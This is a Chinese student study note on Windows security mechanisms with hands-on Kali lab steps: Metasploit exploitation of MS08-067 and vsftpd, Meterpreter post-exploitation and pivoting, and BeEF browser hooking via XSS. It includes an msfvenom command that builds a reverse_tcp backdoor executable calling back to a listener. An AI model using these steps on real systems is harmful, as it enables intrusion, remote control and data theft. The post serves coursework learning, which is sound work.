《Python 黑帽子》第六、九章
Black_Hat_Python_Chapter6
Black_Hat_Python_Chapter9
《网络攻防技术》第七章 Windows操作系统安全攻防
一、Windows操作系统基本框架
1、windows基本结构分为运行于处理器特权模式的操作系统内核以及运行在处理器非特权模式的用户,即为内核态和用户态。
2、核心机制:进程和线程管理机制、内存管理机制、文件管理机制、注册表管理机制、网络管理机制。
3、网络管理机制:网卡硬件驱动程序(物理层)、NDIS库以及miniport驱动程序(链路层)、TDI传输层(网络协议驱动)(网络层和传输层)、网络APID以及TDI客户端(会话层和表示层)、网络应用程序和服务进程(应用层).
二、Windows操作系统的安全体系结构和机制
1、监控器模型:主体到客体的访问都通过监控器作中间,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录都由监控器生成审计日志。
2、核心:SRM安全引用监控(内核中)、LSASS安全服务(用户态)、winlogon/netlogn、以及Eventlog
3、身份认证机制:安全主体:用户、用户组、计算机 身份认证:本地身份认证(winlogon进程、GINA图形化登录窗口与LSASS服务)、网络身份认证(NTLM、Lanman、kerberos)
4、授权与访问控制机制:对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。 属性组成:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。
5、安全审计机制
6、其他安全机制:安全中心(防火墙、补丁自动更新、病毒防护),IPsec加载和验证机制,EPS加密文件系统,windows文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制。
三、Windows远程安全攻防技术
1、包括远程口令猜解攻击、windows网络服务攻击,windows客户端和用户攻击。
2、远程口令猜解攻击: 远程口令猜解:SMB协议(tcp445、tcp139),其他包括WMI服务、TS远程桌面终端服务,MY SQL数据库服务、SharePoint。
3远程口令猜解的防范:关闭不必要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过时且有安全缺陷的Lanman和NTLM、指定强口令策略。
4、网络服务远程渗透攻击:针对NETBIOS服务的著名漏洞和攻击、针对SMB服务的著名漏洞和攻击、针对MSRPC服务的著名漏洞和攻击、针对windows系统上微软网络的远程渗透攻击、针对windows系统上第三方服务的远程渗透攻击。
5.网络服务远程渗透防范措施:最基本的是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞。
四、Windows本地安全攻防技术
1、本地提权攻击:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞,原因是服务器和桌面系统没有即时进行补丁更新。
2、敏感信息窃取: windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文) windows系统口令字破解技术、用户敏感数据窃取:find、findstr、grep、meterpreter
3.本地敏感信息窃取防范:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。
课后实践练习
使用Metaspoit攻击MS08-067。
1、打开postgresql服务
2、攻击机ip为149
3、win靶机ip为146
4、开启msfconsole控制台
5、搜索ms08-067
6、利用067漏洞
7、设置攻击机ip和win靶机ip,exploit
8、攻击成功,得到win靶机的shell
KaliSecurity
一、漏洞利用之检索与利用
“searchsploit”是一个用于Exploit-DB的命令行搜索工具,它还允许你随身带一份Exploit-DB的副本。
searchsploit wordpress列出了漏洞和文件地址。
二、漏洞利用之Metasploit基础
Metasploit在渗透测试中经常被用到,实际上这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。
先使用命令service postgresql start开启PostgreSQL数据库服务,然后使用msfconsole开启metasploit服务。
使用winxp环境作为靶机,先使用nmap对靶机所开放的端口服务版本进行探测:(这里,我电脑的kali环境运行msfconsole出现无法分配内存的问题,这里先使用网上使用步骤截图)
扫描得知,目标21端口vsftpd版本为5.0,使用msfconsole打开的msf中使用命令search vsftpd,查看是否存在相应的漏洞利用exploit:
接着利用命令 use使用该工具,选择exploit,查看参数:
选择payload,Required显示yes,表示需要被设置,设置好远程IP地址:
使用set命令设置参数,说明已经参数已经被设置好:
输入exploit即可进行攻击测试,如果成功,将返回一个shell,出现绿色的UID,说明攻击比较成功。这时可以查看靶机的IP,cat到一些信息。
三、漏洞利用之Meterpreter介绍
Meterpreter是Metasploit框架中的一个拓展模块,作为溢出成功后的攻击载荷使用。攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。
Meterpreter作为后渗透模块有很多类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。其有很多的功能,如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等。
常用的命令:
background 将当前会话放置后台
load/use 加载模块
interact 切换进一个信道
migrate 迁移进程
run 执行一个已有的模块
Resource 执行一个已有的rc脚本常用的meterpreter类型:
payload windows/meterpreter/reverse_tcp
打开MSF,开启监听(选择exploit/multi/handler):
后执行下面指令生成后门exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.92.150 LPORT=2333 -i 5 -f exe /root/door.exe
现在可以将生成的exe文件保存到目标主机开始攻击。
四、Metasploit后渗透测试
在跳板机获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统的漏洞,借助Msf已经得到的Meterpreter后门,可以使后续操作更容易。
- 查看当前网卡、网段信息 先控制一台跳板机,查看相关网卡网段信息
- 添加路由表 run autoroute -s 10.0.0.1
- 开Socks代理 通过使用 auxiliary/sever/socks4a模块,创建一个Socks代理,可以作为浏览器,Sqlmp,Namp等使用。
- 通过Background和sessions -i可以自由切换进入Session
- 输入run可以看到Meterpreter上可以做的很多命令
- 获取内网信息run arp_scanner -r 目标IP地址
- 也可上传文件,做端口转发后续测试
五、漏洞利用之BeeF
对XSS漏洞的利用需要一个强大的框架支持,BeeF是浏览器攻击框架的简称,是一款专注于浏览器端的渗透工具。
命令行下启动BeeF,直接使用命令 beef-xss即可,打开浏览器,会自动跳转至beef登录页面:
默认用户名密码均为beef:
进入主界面:
我们假设被测试主机由于XSS漏洞请求到页面http://127.0.0.1:3000/demos/basic.html,这是一个测试页面,如果通过XSS把该页面加入页面请求中,则访问者就会被BeEF hook 到,即加入到 Online Browsers中。
这样在主界面左端就可以看到一个在线主机:
HOOK持续的时间为关闭测试页面为止,在此期间相当于被控制了,可以发送攻击命令,在Commands模块我们可以完成很多任务。
其中。4中颜色分别表示:
- 该攻击模块可用,且隐蔽性强
- 该攻击模块可用,但隐蔽性差
- 该用户模块是否可用还有待验证
- 该攻击模块不可用
我们以MISC下的Raw JavaScript模块为例进行测试,右端输入 Javascript code 给目标弹出窗口,点击Excute进行攻击:
执行后在目标网页可以看到如下效果图:
BeFF还有Proxy功能,就是依赖目标做一个代理,然后请求一个特定页面的过程。右键目标主机:
然后在rider选项卡中的forge request 编辑并发送想要发送的内容:
信息发送后,可通过History选项看到,待传输成功后,点击相应的信息,即可显示详细的传输过程:
BeEF还能够配合Metasploit进一步渗透主机。BeEF 默认不加载 Metasploit,如果要使用 Metasploit 丰富的攻击模块,需要做以下配置:
-
进入目录/usr/share/beef-xss/,修改 config.yaml 文件,将metasploit设置为true。
-
进入目录/usr/share/beef-xss/extensions/metasploit,修改 config.yaml 文件,host和callback_host设置成本机IP地址,然后再修改Custom路径即可。
-
打开msfconsole,输入命令load msgrpc ServerHost=192.168.92.150 Pass=abc123
-
进入目录/usr/share/beef-xss/,执行./beef -x命令,重新加载metasploit模块。
-
service beef-xss restart命令重启服务,然后重新登陆 BeEF,metasploit下增加了很多可以使用的攻击模块,现在就可以使用metasploit的模块进行攻击了。